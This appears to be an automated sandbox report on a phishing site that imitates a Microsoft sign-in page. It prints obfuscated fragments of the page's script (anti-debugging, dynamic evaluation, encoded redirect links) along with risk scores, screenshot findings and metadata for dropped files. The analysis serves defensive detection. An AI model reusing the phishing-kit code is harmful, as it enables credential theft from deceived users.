e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];d&&s.error.apply(s,function(e,t,n){if(n\|\|2===arguments.length)for(var i,a=0,o=t.length;a<o;a++)!i&&a in t\|\|(i\|\|(i=Array.prototype.slice.call(t,0,a)),i[a]=t[a]);return e.concat(i\|\|Array.prototype.slice.call(t))}(["[MONITOR]"],e,!1))}function b(e,t){return-1!==e.indexOf(t)}function f(e){if(Array.from)return Array.from(e);var t=[];if(e instanceof Set)e.forEach((function(e){return t.push(e)}));else for(var n=0;n<e.length;n++)t.push(e[n]);return t}function y(e,t){for(var n=0;n<e.length;n+=1){var i=e[n];if(t(i,n))return i}}function v(e){return Object.keys(e).map((function(t){return e[t]}))}function S(e){return Object.keys(e).map((function(t){return[t,e[t]]}))}function k(e,t){return e.slice(0,t.length)===t}function w(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return t.forEach((function(t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})),e}function C(e){var t=w({version:"5.15.0",onReady:function(e){e()}},e);return Object.defineProperty(t,"_setDebug",{get:function(){return u},enumerable:!1}),t}function T(e,t,n){var i=e[t];e[t]=n,i&&i.q&&i.q.forEach((function(e){return l(e,"onReady callback threw an error:")()}))}function P(){if("object"==typeof globalThis)return globalThis;Object.defineProperty(Object.prototype,"_dd_temp_",{get:function(){return this},configurable:!0});var e=_dd_temp_;return delete Object.prototype._dd_temp_,"object"!=typeof e&&(e="object"==typeof self?self:"ob
URL: https://aweitapp.com/zeng/advance/auth/?cf-turnsti... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The use of `eval`, `Function` constructor, and heavily encoded strings indicates a high likelihood of malicious intent. Additionally, the script appears to be attempting to redirect the user to an unknown or suspicious domain, which further increases the risk. Overall, this script demonstrates a clear pattern of malicious activity and should be treated as a high-risk threat." }
var link = "bGN6ZkdkbU1xM3RsbDhzRVJVZGk2cUVqN2hEWU5TNnJ0VTIyQTlXV2FreGZrWDlocE13ZFd3MVRqNG15TGZQSUFwT2IwQnJ5aXhabncwVHZRdDQwdUtHYmcxTjdKbll1OGFRRVIzQXllSXpQS1pwTW9uWlZvY2d1WVNIUjJEZ1hKSFRPdkJqRnozR2Nvc3hWQmExSkZy"; var random = "aHR0cHM6Ly9ocmVmLmxpLz9odHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9DbGllbnRfYWNjZXNzX2xpY2Vuc2U="; var autograb = false; const _0x370772=_0x4de9;(function(_0x4f6b79,_0x5e87a3){const _0x23902b=_0x4de9,_0x1aa4ca=_0x4f6b79();while(!![]){try{const _0x4ecf9d=parseInt(_0x23902b(0x1f2))/0x1(-parseInt(_0x23902b(0x1ff))/0x2)+parseInt(_0x23902b(0x202))/0x3+parseInt(_0x23902b(0x201))/0x4(parseInt(_0x23902b(0x215))/0x5)+parseInt(_0x23902b(0x210))/0x6+-parseInt(_0x23902b(0x200))/0x7(-parseInt(_0x23902b(0x1fe))/0x8)+-parseInt(_0x23902b(0x1f8))/0x9+-parseInt(_0x23902b(0x1ed))/0xa(parseInt(_0x23902b(0x1fd))/0xb);if(_0x4ecf9d===_0x5e87a3)break;else _0x1aa4ca['push'](_0x1aa4ca['shift']());}catch(_0x5e20f3){_0x1aa4ca['push'](_0x1aa4ca['shift']());}}}(_0x5cca,0xe5b41));const _0x6d4a3c=(function(){let _0x5cc2bf=!![];return function(_0x9b77da,_0x135712){const _0xf77bb9=_0x5cc2bf?function(){const _0xec2e23=_0x4de9;if(_0x135712){const _0x101ef2=_0x135712[_0xec2e23(0x204)](_0x9b77da,arguments);return _0x135712=null,_0x101ef2;}}:function(){};return _0x5cc2bf=![],_0xf77bb9;};}()),_0x487215=_0x6d4a3c(this,function(){const _0x34a2de=_0x4de9;return _0x487215[_0x34a2de(0x1f3)]()['search'](_0x34a2de(0x1ee))[_0x34a2de(0x1f3)]()[_0x34a2de(0x212)](_0x487215)['search'](_0x34a2de(0x1ee));});_0x487215();const _0x5dbfa7=(function(){let _0x4b0e96=!![];return function(_0xd5d4f3,_0xaef652){const _0x53ffda=_0x4b0e96?function(){if(_0xaef652){const _0x48e2d4=_0xaef652['apply'](_0xd5d4f3,arguments);return _0xaef652=null,_0x48e2d4;}}:function(){};return _0x4b0e96=![],_0x53ffda;};}());(function(){_0x5dbfa7(this,function(){const _0x13ac30=_0x4de9,_0x97b71d=new RegExp('function\x20\x5c(\x20\x5c)'),_0x562d3b=new RegExp(_0x13ac30(0x1f7),'i'),_0x4d3b42=_0x3d6ca4(_0x13ac30(0x1fb));!_0x97b71d[_0x13ac30(0x20c)](_0x4d3b42+'chain')\|\|!_0x562d3b[_0x13ac30(0x20c)](_0x4d3b42+'input')?_0x4d3b42('0'):_0x3d6ca4();})();}());const _0x55444a=(function(){let _0x33f15b=!![];return function(_0x57a666,_0x260f9d){const _0x31c56e=_0x33f15b?function(){const _0x59e2eb=_0x4de9;if(_0x260f9d){const _0xb3158f=_0x260f9d[_0x59e2eb(0x204)](_0x57a666,arguments);return _0x260f9d=null,_0xb3158f;}}:function(){};return _0x33f15b=![],_0x31c56e;};}()),_0x4f3632=_0x55444a(this,function(){const _0x2ff6f3=_0x4de9,_0x330ee3=function(){const _0x1dd09b=_0x4de9;let _0x14d87b;try{_0x14d87b=Function('return\x20(function()\x20'+_0x1dd09b(0x218)+');')();}catch(_0x4d6905){_0x14d87b=window;}return _0x14d87b;},_0x131a47=_0x330ee3(),_0x18e009=_0x131a47[_0x2ff6f3(0x206)]=_0x131a47[_0x2ff6f3(0x206)]\|\|{},_0x1706ee=[_0x2ff6f3(0x205),_0x2ff6f3(0x216),'info',_0x2ff6f3(0x203),_0x2ff6f3(0x1f5),_0x2ff6f3(0x1f4),_0x2ff6f3(0x207)];for(let _0x3a4ef4=0x0;_0x3a4ef4<_0x1706ee[_0x2ff6f3(0x1f1)];_0x3a4ef4++){const _0x5abefa=_0x55444a[_0x2ff6f3(0x212)][_0x2ff6f3(0x20e)]['bind'](_0x55444a),_0x2ee7c2=_0x1706ee[_0x3a4ef4],_0x5e394d=_0x18e009[_0x2ee7c2]\|\|_0x5abefa;_0x5abefa[_0x2ff6f3(0x1f6)]=_0x55444a[_0x2ff6f3(0x208)](_0x55444a),_0x5abefa[_0x2ff6f3(0x1f3)]=_0x5e394d['toString'][_0x2ff6f3(0x208)](_0x5e394d),_0x18e009[_0x2ee7c2]=_0x5abefa;}});function _0x5cca(){const _0x49775a=['trace','bind','onload','Error\x20encoding\x20string.','/index?a=','test','while\x20(true)\x20{}','prototype','stateObject','7057404VGAaEh','location','constructor','/index','gger','4989590fceNiz','warn','string','{}.constructor(\x22return\x20this\x22)(\x20)','action','href','2800XoTiRS','(((.+)+)+)+$','call','substring','length','1nDTKwE','toString','table','exception','__proto__','\x5c+\x5c+\x20(?:[a-zA-Z_$][0-9a-zA-Z_$])','945234wBsndJ','counter','hash','init','debu','155078irFNIr','8BAihSD','952052hXXCrM','11247859baQcXU','4QpQeNS','5065104jKIhEm','error','apply','log','console'];_0x5cca=function(){return _0x49775a;};return _0x5cca()
URL: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3t... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits a mix of behaviors that raise moderate security concerns. While there are no clear indicators of malicious intent, the use of obfuscated code, dynamic code execution, and external data transmission warrant further investigation. The script appears to be performing some form of analytics or tracking functionality, but the lack of transparency around the data being sent and the use of suspicious-looking domains increase the overall risk level." }
window.ZX983({ B1: true, T8: true, R7: true, G4: true, Y5: true, K9: true, N0: true }); document.addEventListener('DOMContentLoaded', () => { const debug = false; // PHP variables const encodedText = "U2lnbi1pbiBvcHRpb25z"; const decodedText = atob(encodedText); const random = "https://href.li/?https://en.wikipedia.org/wiki/Microsoft_365"; const defaultBackground = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA7QAAAGjCAIAAACT6c7zAAAAAXNSR0IB2cksfwAAAAlwSFlzAAAOxAAADsQBlSsOGwABRiRJREFUeJzsvX/UXmV556sz05nVM+ePzlmz6upqmXOqbSUdByxgASkq4qQgjSK/lAGppVBDW6GCQVQgp1YsMipLA4yDWNEDmg7CIbRJoUlPRgo5cyIgEzIhIJNJQvgRiAkJyUpZMeP57v19nu/7fe577/3s58f7I+97fXOtrP3u59573/vevz772td93a/bt2/f3r1795T/uzBnX3cmJ/B/Xozz+6p9yQbt379f/7dfxMvv7yr/yX91NfxU92vlnGTrDevMF6ys+bjU0BTNjVPZ1M2VH7RizQel+bg0r8GLNW+05V6oTHMzDtEm7U+eyrNllI32bb2G495+W5VrGHHxvPEbSuYHrnnXGk6SNr+2rP++Fudw33X2/bW5cMumaLl37VugeUN9izUsPtCmK2s+0C63XHPdn3WFh9uult3f7hJrrlv+56D12Z8dtcpGHmK1+2tOtoY6N2yx8nDnFc7n51sfy14MUaZ5wYEWz49Xfvj2t0a1/b1NV/nrJKmSYPUnWPd1rw0u7skQC06e+tbnkKuwik1jzXU99C1QWabv4iPWbcpWO+i28r1O7i9jqVXLklOw0Rkor3zzjnjjtGmolldE3fz2F34y0bfk6L8m1etbZ85vX9WWZSqXGuVeNJYb0UAtM3kaqLUnb+vjXWdyDY5rW5VnQvvCya+DHu5RbtrJdvsuPvSpOPpSYz8l2t8hx3tR53rdwYP/U3bgJz/xaZr/pJm5VRbzlVdupXnr+XRzHZJF6v6sW1Xl5nxO86Yr19B3EV9z3jh5mYatJJtr2Eff0EBVbbk7fZu3spEbjk7zgWtZn8pTru+p0v7wDdFQzdWrrGTDPo5ysNpcGnXXeGWZvrvWXIcD9ed53wXbNMsQ51Jd+bqZLcsPdGL3vWbHey1PtrU/85sXHKgdWp6NDQe3eVuVp3HdxV53YiQXWstjOlwzDrFg5UYbDk2+lSFWXrnayntFcw0rG7zvfvWd3+agDLqtQa1hW0lD5SdtmzW3LNCy0dq0Sfv11J2BA7W8T7/up6FQKBSaXRr9QTu6oQ7T3QyhUCg0jAKOQ6FQaFZJ/o9BPzK2Dx5Ifq0sFnwcCs1lyS873RUZRgHHoVAoNKuEpxGBNe8/PaL2VfXJruulHXwcCs1B5cEMhyIlz3Q4bhmLE46KUCgU4t2SWLxr1ys7du7a+eMdQ5sWxwQt/6liqZeLX7H13bv3oCZxWw6F5oL8gxU/JSn/g74sCZSnu7L9NaPhWP6PV/e8Ume7X9lJ45+zFZE9tHy66xIKhWaieH/APRAPJELq9u0v0V7Cf9k0J/A/DeU5wV8LxjXT4vkKNSeZiaWCj0OhuSDHYtx/cOH7yzlflQnKhwqkzVw45l0evLtj+/M7tq1raaBkLDXz231Qefjg7Nu7UCg0unjPxOMHjyJw6vMvvPjC8/j3IkwE7ECc0K3jcuWfzaZi3C4Mc/BcxEORj8Ppbp5QKDQpEhkTi/lm7rcavmCTklHmkHhhnrlwjLYryHjbun+4/9u5Pbv5NtjDj14u4xzyMZo+SeSh1Vamhpm8vUi6xQzxTYFrwAOPr2LyxAxdH/0/qcpzqTQXa142HOehUF/JbYznkAhVPuC6wInRQy98JfQx+9Zx1xrllhUKzREdok86IgquccBJcSvoYnHy6Ynzhcgzn49nLhzjLg/MJRy/+B+uSoxAvPzRD8g4Z8eWFViE8RXeh9oz2O3v1eQ5+bU5vk7xs8Kgm+MacD7hSbN167N46vDEalhDcxZAYfrk7XXeUz7fVv7akAeRJ73jVXLsdQ6FZoH0iBKeYkLfNJutrmtdEbpWVR7zK8vzHV5+a1aA31Jn8oMwFJpGtXlizkz1kHE3/spfxXE3kHU6JJQ28wOuZigcs09JEVCxZQVQeNs174e9cvFxME7/7bJ3wm568E0y8rGcx3Lvy9vKc07ReO17jWh+y/c5h1F+4sTp8ty2bXhU+DnRsilYZyz+zI9+tGHDk5s2bcLaMKduDQrU1gCMgstkyET+NN6XVF3k7urmZxTflhfz+qjayePWVxVP2VCoUg7HNEY11GWT2F8jfyN1NSzi9xn2BSSgF0/KnbsCjkOhBulpyHdRf2JOd9X6SN1/catxx7Bo2AOOO4HI3Q9Z3M0Zu48zG467bmORsfg4h2PyMeEYVI3jtHnzlo1PPQXDBKkUxwOUiTnrn1gH0ARu4ifMwQFzjmyj3LvpLk+RKKuBbT3+w8ewUWx669ZnURnSbd/Tgu2A6oGJsYa1a9diJVu3bMaOVF45JGO8G2C7DDfEtnia8qMGdhbGh5aif3LH7XDGfVfII/YU+05vN6uhbXXouVtP//jLKCXOZLgkKoyVwDDBarfxH+fjEbR5DZhKF3ulq2C8G5qBX+gaIpoqqzrt3xkP1ozSNC2VaZa7cHgd8RrPXzjrbne+g3XfcBpuibSkDuE5nrNKLnafTr5njvH6ylc7+onn6xwiMLI5sLBzybyyU9FQfKWkH23Epsgv7aHXVrd+dzjqIxXn8Amut3TeiPQr+XjG3hlmIxxvWfHiC9tAkODINQ+vgQErQWk4SAAscCrmrF69+sGH1jzy6KMoA0TG6eivO5WfEf3rgJwx+UdGddLks4FQqy2SblEZPDPa+I/ZDqgbqBrLYg1YG9ZZCcc6U7H7KIM9paeZQIwGeWrjBmx93RPr+cKAmXxncGdSs9yHpDn+6OVDkX5ubOuxxzubQzUYELKnu0hxL9j+PGqFkiiA/1EGtcL/mkNDtbEjfLXgcdzT71nL243XOXl+NyO+e9mFEW2WbX+R88j6VtSNt3n9vom6p0vyuuLk3bxI3xWO+PQ6YFl+mne2Es5aHoIxwuvBbhc3P+H71tzrkNPA5GGBgyn7weCK462JHim/gzXwcWVk1EBwzOdlwPFcVnKxv9YbGue/+jMlKdNw+TRcU6/1fjsdEQrFr0lKsgNZyGJe4cqbcN5KfBrSDUSPkr4zD33h6N7V8kHmt6w29yU1i5zBQiPOwS6QPeTVEjDwHkViHv0ATZJmLRwDqkCT99//wPLlK8CUQDTyImZizrJl93E+aRU/yTdJ8+PagcuygIrJqem+WLk5BXlgWWwF1fibvy62uHLlKoAyvb9tznvBMQCRhA2gx2pxYlXCMV9AReQwlMdeY3E6nsnof7/2UTQI1rNl23OdT59Z7LwH0Tf36VHXVHp8se/YHLaLDemVAJQMtC1cyDt38VFNLz4rhsIoQJLmnzTM4Z9Yg/YFzdvcxYdXLDYhFPjxq6+itffUfBRO7tF7rb+tPgk1f1D2VbW5yA92M7HohZsbwpy6DVViruNjXZXyG3qONfl
URL: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "anneotherHOTMAIL.CIC" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://code.jquery.com/jquery-3.6.0.min.js... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. The code does not exhibit any high-risk behaviors such as dynamic code execution, data exfiltration, or redirects to malicious domains. It primarily consists of utility functions and prototype extensions typical of a library. There are no suspicious domains or obfuscated code present. Therefore, it is considered low risk." }
/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="s
URL: https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:07:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9877084845382313
Encrypted:	false
SSDEEP:
MD5:	08A1EC5999CF1C79052043A5CCE240B6
SHA1:	A10E3402563AEAADD6A47D8ECEFDF2C3BD43A98B
SHA-256:	8471AB852F7446674F7B418E3E713B7018C8F457164101843F48786826653851
SHA-512:	7B73133E9BC42B937B765AC9116FCF2D0DFAF09EB60F42F8F81D80B345A0BA03EDF49DCFFEEF9CBF3ECA9F32B95EF4A2310995A01A2A03C694C97E9ADD9B6BBE
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....k@..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.P....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.P....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.P....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.P..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.P...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8w.).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:07:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.003957362335868
Encrypted:	false
SSDEEP:
MD5:	327B2A38EB71C31FA22013DCAEF808DB
SHA1:	8A720F50A3E4BEF6BDD4EC165BF9E41129920EAC
SHA-256:	8BFD025787EFB29B3B5377C73D05CD01A33B5A982FA37348F5F86477515545B7
SHA-512:	2421D68858A8D9ACBDA76DF3184353070636D42C3BCF27D43420D0030C99B6CCC42BA041014674947DACC02293DABFD0140934685FB9365BA02DD3B212A587BD
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......3..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.P....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.P....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.P....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.P..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.P...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8w.).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.010812909015146
Encrypted:	false
SSDEEP:
MD5:	A2827BE20E259728654C719C3EC694D3
SHA1:	5A63EFE5A52BE4DA25A582ED60F2F4F793563449
SHA-256:	895CFE29F15781CFC2A829306D89166379590DD342B0384EE8B234D538718723
SHA-512:	56668D549D7D43CBF1718FAC7850437C569F0D922C32CF1565DAC70D0DE18E80D095360B73B11E7CB8FED38FDE9269969D421E7B621AE2F3B534C2069A7EA975
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.P....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.P....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.P....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.P..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8w.).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:07:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.999659034932778
Encrypted:	false
SSDEEP:
MD5:	CFB8D6860E2A4E23CEFFB0113223CD87
SHA1:	9EF1571F56850112D013071910AE4557787F8158
SHA-256:	CA546E93D9BAC76568B8141F59FE2F676175F011E2C664FEB4F01EE0A44AC366
SHA-512:	61A7BB064AF8956CE6B5C44E5D25252B59EBAEBF590A921244C011DFD9C56A51AF0633472EC4C91F635153985FBEA1E4AB68FA8B3437FF5D618508934596272B
Malicious:	false
Reputation:	unknown
